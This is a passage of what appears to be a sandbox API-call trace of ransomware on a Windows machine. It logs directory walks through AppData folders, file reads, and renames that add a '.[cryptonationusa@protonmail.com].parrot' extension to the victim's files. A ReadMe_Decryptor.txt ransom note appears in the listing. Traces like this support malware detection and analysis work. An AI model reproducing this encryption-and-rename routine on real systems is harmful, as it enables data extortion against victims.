1 [0089.176] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0089.178] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.178] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x344, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x344, lpOverlapped=0x0) returned 1 [0089.179] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.179] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0089.182] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.182] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc2780b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc2780b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.182] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc2780b00, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xc2780b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc2780b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0089.182] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.182] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.182] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="36USA68T", cAlternateFileName="")) returned 1 [0089.182] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3O75JDME", cAlternateFileName="")) returned 1 [0089.182] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0089.182] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UV0DUWVB", cAlternateFileName="")) returned 1 [0089.182] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc2780b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc2780b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 1 [0089.182] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc2780b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc2780b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 0 [0089.182] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.183] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.183] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.183] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.183] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.183] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.183] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.183] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.183] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.184] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.184] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.185] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1 [0089.185] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0089.185] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 0 [0089.186] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.186] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.186] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0089.186] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1 [0089.186] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0089.186] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0089.186] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0089.186] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0089.186] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0089.186] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.186] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.187] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.187] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.187] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.187] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0089.187] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0089.187] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0089.187] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.188] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.188] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.188] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.188] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.188] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AU", cAlternateFileName="")) returned 1 [0089.188] lstrcmpW (lpString1="AU", lpString2=".") returned 1 [0089.188] lstrcmpW (lpString1="AU", lpString2="..") returned 1 [0089.188] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.188] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.188] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.189] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.189] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.189] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8e062, dwReserved0=0x0, dwReserved1=0x0, cFileName="au.cab", cAlternateFileName="")) returned 1 [0089.190] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.190] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0089.194] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.194] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8e062, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x8e062, lpOverlapped=0x0) returned 1 [0089.252] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.295] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0089.302] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.302] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0089.304] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.304] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2d400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x2d400, lpOverlapped=0x0) returned 1 [0089.311] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.315] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0089.323] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.323] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc28d7760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc28d7760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.323] 